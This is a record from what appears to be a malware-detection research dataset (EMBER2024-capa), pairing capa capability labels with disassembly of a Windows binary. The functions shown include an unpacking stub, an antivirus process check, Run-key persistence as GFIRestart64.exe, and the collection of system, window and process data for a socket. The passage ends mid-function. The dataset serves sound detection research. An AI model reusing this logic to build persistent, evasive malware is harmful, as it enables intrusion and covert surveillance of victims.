joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400825a0
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x1400825ad
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x1400825bd
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x1400825a5
lea eax, [rcx + 1]
jmp 0x1400825cb
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x1400825de
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x1400825c4
sub eax, 3
jb 0x1400825fe
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14008264d
sar eax, 1
movsxd rbp, eax
jb 0x140082634
jmp 0x14008260c
add ebx, ebx
jne 0x14008260a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140082634
inc ecx
add ebx, ebx
jne 0x14008261a
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x140082634
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14008262d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14008261c
add ecx, 2
jmp 0x140082639
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140082562
jmp 0x1400825ad
pop rsi
pop rdi
pop rax
mov dword [rdi], eax
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x46800
mov dl, 0x11
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14008269d
cmp rsi, rcx
jae 0x1400826a5
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140082684
cmp al, 0x8f
ja 0x140082684
cmp byte [rsi - 2], 0xf
je 0x14008268a
sub al, 0xe8
cmp al, 1
ja 0x14008266e
cmp rsi, rcx
jae 0x1400826a5
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140082674
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x1400826a5
lodsb al, byte [rsi]
jmp 0x140082684
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x7f000]
mov eax, dword [rdi]
or eax, eax
je 0x14008270e
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x8c338]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x1400826b2
jns 0x1400826e7
movzx rdx, word [rdi]
add rdi, 2
jmp 0x1400826f1
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x140082708
mov qword [rbx], rax
add rbx, 8
jmp 0x1400826d2
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140082748
cmp al, 0xef
ja 0x14008273a
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14008271a
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x140082729
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x247]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14008279c
sub rsp, 0xffffffffffffff80
jmp 0x140032ee0
Function at 0x1400020a0
Capabilities:
Enumerate processes

Disassembly:
mov r11, rsp
push rsi
sub rsp, 0x280
mov rax, qword [0x140025ba8]
xor rax, rsp
mov qword [rsp + 0x260], rax
mov qword [r11 + 0x20], r12
lea rsi, [0x140027400]
xor edx, edx
mov r8d, 0x1fe
mov rcx, rsi
mov qword [r11 - 0x18], r14
call sub.MSVCR100.dll_memset
mov rcx, qword [str.360Safe.exe]
lea rdx, [0x140019184]
xor r14d, r14d
mov r12d, r14d
call qword [sym.imp.MSVCR100.dll_wcsstr]
test rax, rax
jne 0x14000220e
mov qword [rsp + 0x290], rbx
mov qword [rsp + 0x298], rbp
mov qword [rsp + 0x2a0], rdi
mov qword [rsp + 0x278], r13
lea r13, str.360Safe.exe
mov ebp, r14d
mov rbx, r13
nop dword [rax]
mov rdi, qword [rbx]
lea rcx, [rsp + 0x24]
xor edx, edx
mov r8d, 0x234
mov dword [rsp + 0x20], r14d
call sub.MSVCR100.dll_memset
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400021c6
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x1400021bd
nop word [rax + rax]
lea rcx, [rsp + 0x4c]
mov r8, rdi
sub r8, rcx
nop dword [rax + rax]
movzx edx, word [rcx]
movzx eax, word [rcx + r8]
sub edx, eax
jne 0x1400021a4
add rcx, 2
test eax, eax
jne 0x140002190
mov rcx, rbx
test edx, edx
je 0x14000225f
lea rdx, [rsp + 0x20]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140002180
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc r12
lea rdx, [0x140019184]
mov rbp, r12
shl rbp, 4
lea rbx, [r13 + rbp]
mov rcx, qword [rbx]
call qword [sym.imp.MSVCR100.dll_wcsstr]
test rax, rax
je 0x140002130
mov r13, qword [rsp + 0x278]
mov rdi, qword [rsp + 0x2a0]
mov rbp, qword [rsp + 0x298]
mov rbx, qword [rsp + 0x290]
lea rdx, [0x140019184]
mov rcx, rsi
call qword [sym.imp.MSVCR100.dll_wcsstr]
mov r14, qword [rsp + 0x270]
mov r12, qword [rsp + 0x2a8]
test rax, rax
jne 0x140002243
lea rdx, [0x140019180]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rax, rsi
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.140015b50
add rsp, 0x280
pop rsi
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [rsp + 0x28], r14d
je 0x1400021c6
mov rdx, qword [r13 + rbp + 8]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [0x140019178]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x1400021c6
Function at 0x1400022a0
Capabilities:
Persist via run registry key

Disassembly:
push rbp
sub rsp, 0x690
mov rax, qword [0x140025ba8]
xor rax, rsp
mov qword [rsp + 0x680], rax
lea rcx, [rsp + 0x52]
xor ebp, ebp
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x50], bp
call sub.MSVCR100.dll_memset
lea rcx, [rsp + 0x262]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x260], bp
call sub.MSVCR100.dll_memset
lea rcx, str.Shell32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.SHGetSpecialFolderPathW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140002381
lea r9d, [rbp + 1]
lea r8d, [rbp + 7]
lea rdx, [rsp + 0x50]
xor ecx, ecx
call rax
test eax, eax
je 0x140002381
lea r9, str.GFIRestart64.exe
lea r8, [rsp + 0x50]
lea rdx, [0x140019248]
lea rcx, [rsp + 0x260]
call qword [sym.imp.USER32.dll_wsprintfW]
mov qword [rsp + 0x30], rbp
lea rcx, [rsp + 0x260]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x28], ebp
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x140002381
lea eax, [rbp + 1]
jmp 0x1400024a2
mov qword [rsp + 0x6a0], rbx
lea rcx, [0x140019228]
mov qword [rsp + 0x6a8], rsi
mov qword [rsp + 0x6b0], rdi
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, [0x140019210]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x140019200]
mov rcx, rbx
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x1400191f0]
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rsi, rsi
je 0x140002488
test rdi, rdi
je 0x140002488
test rax, rax
je 0x140002488
lea rax, [rsp + 0x48]
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov r9d, 0xf003f
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call rdi
test eax, eax
jne 0x140002488
lea rcx, [rsp + 0x472]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x470], bp
call sub.MSVCR100.dll_memset
mov rcx, qword [rsp + 0x48]
lea rax, [rsp + 0x40]
lea rdx, str.GFIRestart64.exe
xor r9d, r9d
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x470]
xor r8d, r8d
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x40], 0x208
call rsi
mov rcx, qword [rsp + 0x48]
test eax, eax
jne 0x140002486
call rbx
mov eax, 1
jmp 0x14000248a
call rbx
xor eax, eax
mov rsi, qword [rsp + 0x6a8]
mov rbx, qword [rsp + 0x6a0]
mov rdi, qword [rsp + 0x6b0]
mov rcx, qword [rsp + 0x680]
xor rcx, rsp
call fcn.140015b50
add rsp, 0x690
pop rbp
ret
Function at 0x1400026f0
Capabilities:
Get token membership

Disassembly:
push rbx
sub rsp, 0x80
mov rax, qword [0x140025ba8]
xor rax, rsp
mov qword [rsp + 0x78], rax
xor ebx, ebx
lea rax, [rsp + 0x68]
lea rcx, [rsp + 0x70]
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x48], ebx
mov dword [rsp + 0x40], ebx
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], ebx
lea r8d, [rbx + 0x20]
mov r9d, 0x220
mov dl, 2
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x70], 0
mov word [rsp + 0x74], 0x500
mov dword [rsp + 0x20], ebx
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [rsp + 0x60], eax
test eax, eax
je 0x14000277b
mov rdx, qword [rsp + 0x68]
lea r8, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
mov eax, dword [rsp + 0x60]
cmp eax, 1
sete al
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.140015b50
add rsp, 0x80
pop rbx
ret

Function at 0x1400027a0
Capabilities:
Get disk information
Get disk size
Get memory capacity

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xc0
mov rax, qword [0x140025ba8]
xor rax, rsp
mov qword [rsp + 0xb8], rax
xor r13d, r13d
mov r12, rcx
mov edi, r13d
mov esi, r13d
mov ebp, r13d
mov ebx, r13d
lea eax, [rbx + 0x42]
lea rcx, [rsp + 0xa0]
mov dword [rsp + 0xa2], 0x5c003a
mov word [rsp + 0xa0], ax
mov word [rsp + 0xa6], r13w
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
cmp eax, 3
jne 0x14000284b
lea r9, [rsp + 0x48]
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0xa0]
inc ebp
call qword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov r11, qword [rsp + 0x40]
mov rax, qword [rsp + 0x48]
shr r11, 0x1e
shr rax, 0x1e
add edi, r11d
add esi, eax
inc ebx
cmp ebx, 0x1a
jl 0x1400027e3
xor eax, eax
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x60], rax
mov dword [rsp + 0x60], 0x40
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rax
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rsp + 0x68]
mov rbx, qword [rsp + 0x70]
shr rax, 0x1e
lea r8, [0x1400192f0]
shr rbx, 0x1e
inc rax
mov r9d, ebp
mov edx, 0xc8
mov qword [rsp + 0x30], rax
mov rcx, r12
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], edi
inc rbx
call qword [sym.imp.MSVCR100.dll_swprintf_s]
lea r8, [0x1400192d0]
mov r9, r12
mov edx, 0xc8
mov rcx, r12
mov qword [rsp + 0x20], rbx
call qword [sym.imp.MSVCR100.dll_swprintf_s]
mov rcx, qword [rsp + 0xb8]
xor rcx, rsp
call fcn.140015b50
lea r11, [rsp + 0xc0]
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x140002930
Capabilities:
Get system information on windows
Query or enumerate registry value

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
sub rsp, 0x2a0
mov rax, qword [0x140025ba8]
xor rax, rsp
mov qword [rsp + 0x290], rax
mov rsi, r8
mov r12, rdx
mov r13, rcx
mov qword [rsp + 0x40], rcx
mov dword [rsp + 0x30], r9d
mov rdi, qword [rsp + 0x2f0]
xor ebx, ebx
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x80]
call sub.MSVCR100.dll_memset
nop
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, r12
mov rcx, r13
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x1400029af
or ebx, 0xffffffff
jmp 0x140002b52
mov ecx, dword [rsp + 0x308]
test ecx, ecx
je 0x140002aae
dec ecx
je 0x140002a41
dec ecx
jne 0x140002b52
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x140002b52
cmp eax, 2
ja 0x140002b52
mov dword [rsp + 0x34], 0x208
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140002b52
lea rdx, [0x140019360]
lea rcx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
jne 0x140002b29
or ebx, 0xffffffff
jmp 0x140002b52
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x140002b52
cmp eax, 2
ja 0x140002b52
mov dword [rsp + 0x34], 0x208
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov rcx, rdi
test eax, eax
jne 0x140002b44
lea rdx, [rsp + 0x80]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 1
jmp 0x140002b52
mov eax, dword [rsp + 0x30]
test eax, eax
je 0x140002b52
cmp eax, 2
ja 0x140002b52
mov dword [rsp + 0x34], 0x208
lea rax, [rsp + 0x34]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x30]
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x140002b41
lea rcx, [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r9d, dword [rsp + 0x68]
lea r8, [rsp + 0x80]
lea rdx, str._s__d
lea rcx, [rsp + 0x80]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rdx, [rsp + 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov ebx, 1
jmp 0x140002b52
mov rcx, rdi
lea rdx, str.error
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
nop
mov rcx, r13
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
mov rcx, qword [rsp + 0x290]
xor rcx, rsp
call fcn.140015b50
add rsp, 0x2a0
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x140004c80
Capabilities:
Enumerate processes
Get graphical window text

Disassembly:
push rbx
push rbp
push r12
push r13
push r14
sub rsp, 0x280
mov rax, qword [0x140025ba8]
xor rax, rsp
mov qword [rsp + 0x270], rax
mov r14, rcx
mov ecx, 0x7532
call sub.MSVCR100.dll_void____ptr64___cdecl_operator_new_unsigned_long_long_unsigned___int64__
xor edx, edx
mov r8d, 0x7532
mov rcx, rax
mov r12, rax
call sub.MSVCR100.dll_memset
xor ebp, ebp
xor edx, edx
lea ecx, [rbp + 2]
mov byte [r12], 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov r13, rax
cmp rax, 0xffffffffffffffff
jne 0x140004cfb
lea rbx, [r12 + 2]
lea r8, str._vz
mov edx, 0x3a98
mov rcx, rbx
call qword [sym.imp.MSVCR100.dll_swprintf_s]
jmp 0x140004e24
mov qword [rsp + 0x2b8], rsi
mov qword [rsp + 0x2c0], rdi
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x140004d2a
lea rdx, [r12 + 2]
mov r8d, 0x104
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowTextW]
lea rbx, [r12 + 2]
lea rdi, [0x140019360]
mov ecx, 1
mov rsi, rbx
repe cmpsw word [rsi], word [rdi]
mov rdi, qword [rsp + 0x2c0]
mov rsi, qword [rsp + 0x2b8]
jne 0x140004d68
lea r8, [0x140019180]
mov edx, 0x3a98
mov rcx, rbx
call qword [sym.imp.MSVCR100.dll_swprintf_s]
lea r8, [0x1400199b8]
mov r9, rbx
mov edx, 0x3a98
mov rcx, rbx
call qword [sym.imp.MSVCR100.dll_swprintf_s]
lea rcx, [rsp + 0x34]
xor edx, edx
mov r8d, 0x234
call sub.MSVCR100.dll_memset
lea rdx, [rsp + 0x30]
mov rcx, r13
mov dword [rsp + 0x30], 0x238
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x140004e24
nop dword [rax + rax]
mov rcx, rbx
inc ebp
call qword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x36b0
jg 0x140004e24
mov eax, 0x66666667
imul ebp
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
lea ecx, [rdx + rdx*4]
cmp ebp, ecx
jne 0x140004df1
lea r8, str._s_r_n
mov r9, rbx
mov edx, 0x3a98
mov rcx, rbx
call qword [sym.imp.MSVCR100.dll_swprintf_s]
lea rax, [rsp + 0x5c]
lea r8, str._s___s
mov r9, rbx
mov edx, 0x3a98
mov rcx, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.MSVCR100.dll_swprintf_s]
lea rdx, [rsp + 0x30]
mov rcx, r13
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x140004db0
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [r14 + 8]
mov r8d, 0x7532
mov rax, qword [rcx]
mov rdx, r12
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, r12
call sub.MSVCR100.dll_void___cdecl_operator_delete_void____ptr64_
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140015b50
add rsp, 0x280
pop r14
pop r13
pop r12
pop rbp
pop rbx
ret
Function at 0x140005150
Capabilities:
Delete registry value
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, rdx
lea rax, [rsp + 0x58]
mov rbx, r8
lea rdx, str.main
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov rcx, qword [rsp + 0x58]
mov rdx, rdi
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea r8, [rsp + 0x58]
lea rdx, str.main
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x1400051e8
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov rcx, qword [rsp + 0x58]
mov r9d, 3
add eax, eax
xor r8d, r8d
mov rdx, rdi
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x140005200
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov ebp, r9d
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
call fcn.1400062d0
lea r11, vtable.CKernelManager.0
mov qword [rbx], r11
test rdi, rdi
je 0x140005249
lea rcx, [0x140029020]
mov r8, rdi
mov edx, 0x208
call qword [sym.imp.MSVCR100.dll_wcscpy_s]
mov r8, qword [rsp + 0x58]
test r8, r8
je 0x140005265
lea rcx, [0x140029430]
mov edx, 0x208
call qword [sym.imp.MSVCR100.dll_wcscpy_s]
mov eax, dword [rsp + 0x50]
mov dword [0x14002454c], ebp
lea rcx, [0x140019228]
mov dword [0x140024558], eax
xor eax, eax
mov qword [rbx + 0x228], rsi
mov qword [rbx + 0x230], rax
mov qword [0x1400287f0], rbx
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea rdx, str.RegCreateKeyExW
mov rcx, rax
mov qword [rbx + 0x240], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, [0x1400199e0]
mov qword [rbx + 0x248], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, str.RegDeleteKeyW
mov qword [rbx + 0x288], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, [0x140019a28]
mov qword [rbx + 0x258], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, [0x140019210]
mov qword [rbx + 0x260], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, [0x140019200]
mov qword [rbx + 0x250], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, str.RegEnumValueW
mov qword [rbx + 0x268], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, str.RegEnumKeyExW
mov qword [rbx + 0x270], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rbx + 0x240]
lea rdx, [0x1400191f0]
mov qword [rbx + 0x278], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov qword [rbx + 0x280], rax
mov rax, rbx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x140005a40
Capabilities:
Write file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
sub rsp, 0x610
mov rax, qword [0x140025ba8]
xor rax, rsp
mov qword [rsp + 0x600], rax
mov rbx, rcx
mov ebp, r8d
lea rcx, [rsp + 0x50]
mov r8d, 0x2d8
mov rsi, rdx
call sub.MSVCR100.dll_memcpy
lea rcx, [rsp + 0x332]
xor r12d, r12d
xor edx, edx
mov r8d, 0x2ce
mov word [rsp + 0x330], r12w
call sub.MSVCR100.dll_memset
mov qword [rsp + 0x30], r12
lea r8d, [r12 + 1]
lea rcx, [rsp + 0x260]
xor r9d, r9d
mov edx, 0x40000000
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140005ad7
xor eax, eax
jmp 0x140005b72
lea r8d, [rbp - 0x2d8]
lea rdx, [rsi + 0x2d8]
lea r9, [rsp + 0x40]
mov rcx, rax
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140005ad0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rsp + 0x330]
test eax, eax
je 0x140005b38
lea r9, [rsp + 0x58]
lea r8, [rsp + 0x260]
lea rdx, str._s__s
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x140005b46
lea rdx, [rsp + 0x260]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [rsp + 0x54]
test eax, eax
je 0x140005b57
dec eax
jne 0x140005b6d
xor r8d, r8d
jmp 0x140005b5d
mov r8d, 5
lea rdx, [rsp + 0x330]
mov rcx, rbx
call fcn.140005770
mov eax, 1
mov rcx, qword [rsp + 0x600]
xor rcx, rsp
call fcn.140015b50
add rsp, 0x610
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140007170
Capabilities:
Hash data with md5

Disassembly:
push rbx
sub rsp, 0x20
xor eax, eax
mov rbx, rcx
mov byte [rcx + 0x68], 0
mov dword [rcx], 0x67452301
mov dword [rcx + 4], 0xefcdab89
mov dword [rcx + 8], 0x98badcfe
mov qword [rcx + 0x10], rax
mov dword [rcx + 0xc], 0x10325476
call fcn.140006d60
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x1400076b0
Capabilities:
Enumerate pe sections
Resolve function by parsing pe exports

Disassembly:
push rbx
push rbp
push r12
push r14
push r15
sub rsp, 0x40
mov r8, qword [rcx]
mov r9d, dword [rcx + 0x68]
mov rbp, rcx
movzx eax, word [r8 + 0x14]
mov r14, qword [r8 + 0x30]
dec r9
mov r11d, dword [rax + r8 + 0x20]
lea rbx, [rax + r8 + 0x18]
movabs rax, 0xffffffff00000000
and r14, rax
mov eax, dword [rbx + 0x10]
not r9
or r11, r14
and r9, r11
mov qword [rsp + 0x20], r11
mov qword [rsp + 0x28], r9
test eax, eax
jne 0x14000771a
mov ecx, dword [rbx + 0x24]
test cl, 0x40
je 0x140007712
mov eax, dword [r8 + 0x20]
jmp 0x14000771a
test cl, cl
jns 0x14000771a
mov eax, dword [r8 + 0x24]
mov edx, dword [rbx + 0x24]
mov r15d, 1
mov qword [rsp + 0x78], rsi
mov r10d, eax
mov qword [rsp + 0x80], rdi
mov dword [rsp + 0x3c], 0
mov dword [rsp + 0x38], edx
mov qword [rsp + 0x88], r13
mov r12d, r15d
mov qword [rsp + 0x30], r10
cmp r15w, word [r8 + 6]
jae 0x140007813
add rbx, 0x4c
nop
mov edi, dword [rbp + 0x68]
mov r13d, dword [rbx - 0x1c]
mov eax, dword [rbx - 0x14]
dec rdi
or r13, r14
not rdi
and rdi, r13
test eax, eax
jne 0x14000778f
mov ecx, dword [rbx]
test cl, 0x40
je 0x140007787
mov eax, dword [r8 + 0x20]
jmp 0x14000778f
test cl, cl
jns 0x14000778f
mov eax, dword [r8 + 0x24]
mov esi, eax
cmp r9, rdi
je 0x1400077d0
lea rax, [r10 + r11]
cmp rax, rdi
ja 0x1400077d0
lea rdx, [rsp + 0x20]
mov rcx, rbp
call fcn.1400075f0
test eax, eax
je 0x140007838
mov edx, dword [rbx]
mov r11, r13
mov qword [rsp + 0x20], r13
mov r9, rdi
mov qword [rsp + 0x28], rdi
mov r10d, esi
mov qword [rsp + 0x30], rsi
jmp 0x1400077f6
mov eax, dword [rbx]
bt eax, 0x19
jae 0x1400077e2
bt edx, 0x19
jae 0x1400077e2
or edx, eax
jmp 0x1400077e8
or edx, eax
btr edx, 0x19
mov r10, rsi
sub r10, r11
add r10, r13
mov qword [rsp + 0x30], r10
mov r8, qword [rbp]
inc r12d
add rbx, 0x28
movzx eax, word [r8 + 6]
